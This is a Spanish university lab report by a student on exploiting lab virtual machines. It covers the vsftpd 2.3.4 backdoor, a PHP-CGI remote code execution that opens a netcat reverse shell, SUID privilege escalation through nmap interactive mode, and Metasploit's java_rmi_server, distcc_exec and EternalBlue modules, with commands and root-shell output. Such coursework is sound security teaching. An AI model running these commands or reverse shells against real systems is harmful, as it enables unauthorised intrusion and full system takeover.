



Práctica 3: Usando vectores de ataque

Maria Andrea Ugarte Valencia

1. Máquina Linux

1.1. Vectores de ataque manuales

He usado la herramienta **searchsploit** para así realizar búsquedas de los exploit y copiar los respectivos códigos en mi máquina. Por ejemplo, para el primer exploit manual he optado por usar **vsftpd 2.3.4 - Backdoor Command Execution**, por lo que para realizar la búsqueda he ejecutado el siguiente comando:

```
(kali@kali:~)$ searchsploit vsftpd 2.3.4 - Backdoor Command Execution
```

Exploit Title	Path
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17401.rb

```
Shellcodes: No Results
```

Figura 1: Uso de searchsploit para buscar un exploit.

Y para guardar el exploit en mi máquina he hecho:

```
(kali@kali)-[~]$ searchsploit -m unix/remote/49757.py
Exploit: vsftpd 2.3.4 - Backdoor Command Execution
URL: https://www.exploit-db.com/exploits/49757
Path: /usr/share/exploitdb/exploits/unix/remote/49757.py
Codes: CVE-2011-2523
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/49757.py
```

Figura 2: Guardado de un exploit en mi máquina.

Este exploit abre un backdoor en el puerto **21 (FTP)** consiguiendo así acceso al shell de la máquina como root y pudiendo acceder a todos los directorios de la misma, vamos a ejecutarlo. Para ello, indicaremos la ip de la máquina víctima:

```

(kali@kali)-[~]
└─$ sudo python3 backdoor.py 192.168.56.9
[sudo] password for kali:
/home/kali/backdoor.py:11: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  from telnetlib import Telnet
Success, shell opened
Send 'exit' to quit shell
whoami
root
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
vmtoolsd - command shell session 1 closed. Reason: User exit

```

Figura 3: Shell remoto.

Como podemos ver, ahora tenemos acceso al shell de la máquina víctima como root y podremos hacer cosas como crearnos un usuario para entrar a la máquina, acceder a ficheros importantes, crear ficheros,...

El segundo exploit que usaremos será **Apache + PHP 5.3.12 / 5.4.2 - Remote Code Execution + Scanner**

```

(kali@kali)-[~]
└─$ searchsploit Apache + PHP
grep: warning: * at start of expression

Exploit Title | Path
-----|-----
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29298.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py
Apache 1.3 + PHP 3 - File Disclosure | multiple/remote/20466.txt
Apache 2.4.7 + PHP 7.0.2 - 'openssl_seal()' Uninitialized Memory Code Execution | php/remote/40142.php

Shellcodes: No Results

(kali@kali)-[~]
└─$ searchsploit -m php/remote/29316.py
Exploit: Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner
URL: https://www.exploit-db.com/exploits/29316
Path: /usr/share/exploitdb/exploits/php/remote/29316.py
Codes: CVE-2012-2530, CVE-2012-2311, CVE-2012-1823, OSV08-81633
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/29316.py

```

Figura 4: Búsqueda del segundo exploit manual.

Gracias a este exploit podremos obtener un shell remoto de la máquina víctima mediante ejecución remota de código gracias a una vulnerabilidad en la versión de PHP. Para ello, indicaremos el host a atacar y el código que queremos ejecutar para abrir el shell.

Nuestro comando quedará de la siguiente manera:

```
(kali㉿kali)-[~]
$ python2 29316.py -h 192.168.56.9 -c "nc 192.168.56.100 4444 -e /bin/sh"

--=[ ap-unlock-v1337.py by noptrix@nullsecurity.net ]==
[+] s3nd1ng c0mm4ndz t0 h0st 192.168.56.9
[+] h0p3 1t h3lp3d
```

Figura 5: Uso del segundo exploit manual.

Con este comando se busca establecer una conexión de red desde la máquina con la dirección IP **192.168.56.9** (máquina víctima) hacia la dirección IP **192.168.56.100** (nuestra máquina), con la intención de ejecutar un shell remoto en esta última. Mediante ejecución de código remoto, se le ordena a la máquina víctima, utilizando netcat, que establezca una conexión con la dirección IP **192.168.56.100** en el puerto 4444 y ejecute un shell.

Previamente, en otra ventana ejecutaremos el comando **nc -lvp 4444** para establecer un servidor netcat que escuche en el puerto 4444 y que fije un shell remoto.

```
(kali㉿kali)-[~]
$ nc -lvp 4444
listening on [any] 4444 ...
192.168.56.9: inverse host lookup failed: Unknown host
connect to [192.168.56.100] from (UNKNOWN) [192.168.56.9] 45155
ls
php
php5
whoami
www-data
```

Figura 6: Puerto en escucha en nuestra máquina.

Una vez ejecutado el comando podemos ver como hemos conseguido acceso a la máquina mediante el usuario **www-data**. Tener acceso a este usuario no presenta demasiados beneficios ya que solo tenemos acceso a recursos limitados relacionados con archivos web. Sin embargo, podemos llevar a cabo un escalado de privilegios. Para esta escalada de privilegios llevaremos a cabo el vector manual **SUID**, explicado en la teoría de la materia.

Buscamos archivos en el sistema que tengan el bit **SUID**

```

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
-rwsr-xr-x 1 root root 63584 Apr 14 2008 /bin/umount
-rwsr-xr-- 1 root fuse 20056 Feb 26 2008 /bin/fusermount
-rwsr-xr-x 1 root root 25540 Apr 2 2008 /bin/su
-rwsr-xr-x 1 root root 81368 Apr 14 2008 /bin/mount
-rwsr-xr-x 1 root root 30856 Dec 10 2007 /bin/ping
-rwsr-xr-x 1 root root 26684 Dec 10 2007 /bin/ping6
-rwsr-xr-x 1 root root 65520 Dec 2 2008 /sbin/mount.nfs
-rwsr-xr-- 1 root dhcp 2960 Apr 2 2008 /lib/dhcp3-client/call-dhclient-script
-rwsr-xr-x 2 root root 107776 Feb 25 2008 /usr/bin/sudoedit
-rwsr-sr-x 1 root root 7460 Jun 25 2008 /usr/bin/X
-rwsr-xr-x 1 root root 8524 Nov 22 2007 /usr/bin/netkit-rsh
-rwsr-xr-x 1 root root 37360 Apr 2 2008 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 12296 Dec 10 2007 /usr/bin/traceroute6.iputils
-rwsr-xr-x 2 root root 107776 Feb 25 2008 /usr/bin/sudo
-rwsr-xr-x 1 root root 12020 Nov 22 2007 /usr/bin/netkit-rlogin
-rwsr-xr-x 1 root root 11048 Dec 10 2007 /usr/bin/arping
-rwsr-sr-x 1 daemon daemon 38464 Feb 20 2007 /usr/bin/at
-rwsr-xr-x 1 root root 19144 Apr 2 2008 /usr/bin/newgrp
-rwsr-xr-x 1 root root 28624 Apr 2 2008 /usr/bin/chfn
-rwsr-xr-x 1 root root 780676 Apr 8 2008 /usr/bin/nmap
-rwsr-xr-x 1 root root 23952 Apr 2 2008 /usr/bin/chsh
-rwsr-xr-x 1 root root 15952 Nov 22 2007 /usr/bin/netkit-rpc
-rwsr-xr-x 1 root root 29104 Apr 2 2008 /usr/bin/passwd
-rwsr-xr-x 1 root root 46084 Mar 31 2008 /usr/bin/mtr
-rwsr-sr-x 1 libuuid libuuid 12336 Mar 27 2008 /usr/sbin/uuid
-rwsr-xr-- 1 root dip 269256 Oct 4 2007 /usr/sbin/pppd
-rwsr-xr-- 1 root telnetd 6040 Dec 17 2006 /usr/lib/telnetlogin
-rwsr-xr-- 1 root www-data 10276 Mar 9 2010 /usr/lib/apache2/suexec
-rwsr-xr-x 1 root root 4524 Nov 5 2007 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 165748 Apr 6 2008 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 9624 Aug 17 2009 /usr/lib/pt_chown

```

Figura 7: Búsqueda de binarios SUID.

Una vez identificados nos vamos a <https://gtfobins.github.io/> y miramos uno a uno con el fin de poder llevar a cabo una escalada de privilegios.

Una vez hechas varias búsquedas, viendo como algunos binarios no están en la lista y otros sí que están pero nos piden contraseña para poder ejecutar los comandos necesarios encontramos que el binario nmap es válido para nuestra escalada.

nmap

Binary	Functions
<u>nmap</u>	<div>Shell</div> <div>Non-interactive reverse shell</div> <div>Non-interactive bind shell</div> <div>File upload</div> <div>File download</div> <div>File write</div> <div>File read</div> <div>SUID</div> <div>Sudo</div> <div>Limited SUID</div>

Figura 8: Búsqueda en GTFOBis.

- (b) The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.

```
nmap --interactive
nmap> !sh
```

Figura 9: Comandos para la escalada de privilegios.

```
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
```

Figura 10: Uso de los comandos para la escalada de privilegios.

Como se observa en la figura de arriba, ahora tenemos acceso como root.

1.2. Vectores de ataque automáticos

Para los vectores de ataque automáticos he usado la herramienta **Metasploit**. Ejecutando **msfconsole** podemos acceder a la consola de **Metasploit** y buscar los exploits que podemos explotar con el comando **search**.

Para el primer caso, utilizaremos **Java RMI - Server Insecure Default Configuration Java Code Execution**

```
msf6 > search Java RMI - Server Insecure Default Configuration Java Code Execution

Matching Modules
-----
#  Name                                     Disclosure Date  Rank   Check  Description
-  -
0  exploit/multi/misc/java_rmi_server       2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/misc/java_rmi_server

msf6 > use 0
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

Figura 11: Búsqueda de exploits con Metasploit

Con el comando **show options** vemos las variables que necesitamos establecer para el correcto funcionamiento del exploit. Tenemos que indicar **LHOST** (la IP de nuestro host) y **RHOSTS** (la IP de la máquina víctima).

```

msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):


| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |


Payload options (java/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.56.100  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


Exploit target:


| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.56.9
RHOSTS => 192.168.56.9

```

Figura 12: Salida de show options.

Una vez tenemos todo listo ejecutamos el exploit con **run** y podemos ver como efectivamente tenemos acceso a la máquina víctima. Esto ha sido posible ya que nos hemos aprovechado de una vulnerabilidad que afecta al puerto 1099, asociado con el servicio RMI.

```

msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.56.100:4444
[*] 192.168.56.9:1099 - Using URL: http://192.168.56.100:8080/C16huK5uFTU
[*] 192.168.56.9:1099 - Server started.
[*] 192.168.56.9:1099 - Sending RMI Header ...
[*] 192.168.56.9:1099 - Sending RMI Call ...
[*] 192.168.56.9:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.56.9
[*] Meterpreter session 2 opened (192.168.56.100:4444 -> 192.168.56.9:43551) at 2024-03-31 11:16:27 -0400

meterpreter > ls
Listing: /


| Mode             | Size    | Type | Last modified             | Name       |
|------------------|---------|------|---------------------------|------------|
| 040666/rw-rw-rw- | 4096    | dir  | 2012-05-13 23:35:33 -0400 | bin        |
| 040666/rw-rw-rw- | 1024    | dir  | 2012-05-13 23:36:28 -0400 | boot       |
| 040666/rw-rw-rw- | 4096    | dir  | 2010-03-16 18:55:51 -0400 | cdrom      |
| 040666/rw-rw-rw- | 13520   | dir  | 2024-03-31 11:07:59 -0400 | dev        |
| 040666/rw-rw-rw- | 4096    | dir  | 2024-03-31 11:08:20 -0400 | etc        |
| 040666/rw-rw-rw- | 4096    | dir  | 2010-04-16 02:16:02 -0400 | home       |
| 040666/rw-rw-rw- | 4096    | dir  | 2010-03-16 18:57:40 -0400 | initrd     |
| 100666/rw-rw-rw- | 7929183 | fil  | 2012-05-13 23:35:56 -0400 | initrd.img |
| 040666/rw-rw-rw- | 4096    | dir  | 2012-05-13 23:35:22 -0400 | lib        |
| 040666/rw-rw-rw- | 16384   | dir  | 2010-03-16 18:55:15 -0400 | lost+found |
| 040666/rw-rw-rw- | 4096    | dir  | 2010-03-16 18:55:52 -0400 | media      |
| 040666/rw-rw-rw- | 4096    | dir  | 2010-04-28 16:16:56 -0400 | mnt        |
| 100666/rw-rw-rw- | 19520   | fil  | 2024-03-31 11:08:37 -0400 | nohup.out  |
| 040666/rw-rw-rw- | 4096    | dir  | 2010-03-16 18:57:39 -0400 | opt        |
| 040666/rw-rw-rw- | 0       | dir  | 2024-03-31 11:07:30 -0400 | proc       |
| 040666/rw-rw-rw- | 4096    | dir  | 2024-03-31 11:08:36 -0400 | root       |
| 040666/rw-rw-rw- | 4096    | dir  | 2012-05-13 21:54:53 -0400 | sbin       |
| 040666/rw-rw-rw- | 4096    | dir  | 2010-03-16 18:57:38 -0400 | srv        |
| 040666/rw-rw-rw- | 0       | dir  | 2024-03-31 11:07:33 -0400 | sys        |
| 040666/rw-rw-rw- | 4096    | dir  | 2024-03-31 11:16:32 -0400 | tmp        |
| 040666/rw-rw-rw- | 4096    | dir  | 2010-04-28 00:06:37 -0400 | usr        |
| 040666/rw-rw-rw- | 4096    | dir  | 2012-05-20 17:30:19 -0400 | var        |
| 100666/rw-rw-rw- | 1987288 | fil  | 2008-04-10 12:55:41 -0400 | vmlinuz    |


```

Figura 13: Ejecución del exploit.

Obtenemos el usuario con el que estamos accediendo gracias a **getuid** y comprobamos que somos root.

```
meterpreter > getuid  
Server username: root
```

Figura 14: Uso de getuid para identificarnos.

Para el segundo exploit automático tomaremos provecho del exploit **DistCC Daemon - Command Execution**

```
msf6 exploit(unix/misc/distcc_exec) > run  
[*] Started reverse TCP double handler on 192.168.56.100:4444  
[*] Accepted the first client connection...  
[*] Accepted the second client connection...  
[*] Command: echo vqbaBz04zobmSYeH;  
[*] Writing to socket A  
[*] Writing to socket B  
[*] Reading from sockets...  
[*] Reading from socket B  
[*] B: "vqbaBz04zobmSYeH\r\n"  
[*] Matching...  
[*] A is input...  
[*] Command shell session 4 opened (192.168.56.100:4444 → 192.168.56.9:42804) at 2024-03-31 13:05:54 -0400  
  
whoami  
daemon
```

Figura 15: Ejecución del exploit.

Una vez ejecutado el exploit nos identificamos y vemos como somos el usuario daemon. Tener acceso a este usuario no presenta demasiados beneficios ya que solo tenemos acceso a recursos limitados. Sin embargo, podemos llevar a cabo un escalado de privilegios de la misma forma que en el exploit manual **Apache + PHP 5.3.12 / 5.4.2 - Remote Code Execution + Scanner**.

2. Máquina Windows

Ahora, para explotar la máquina Windows, haremos uso del siguiente exploit automático con **Metasploit: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption**, que entra en la máquina víctima a través del puerto **445 (SMB)** y nos permite conseguir un shell remoto de la máquina víctima.

Con el comando **getuid** podemos ver que conseguimos acceso como NT AUTHORITY\SYSTEM, un usuario con elevados privilegios

```
meterpreter > getuid  
Server username: NT AUTHORITY\SYSTEM
```

Figura 16: Uso de getuid para identificarnos en el shell remoto de la máquina Windows.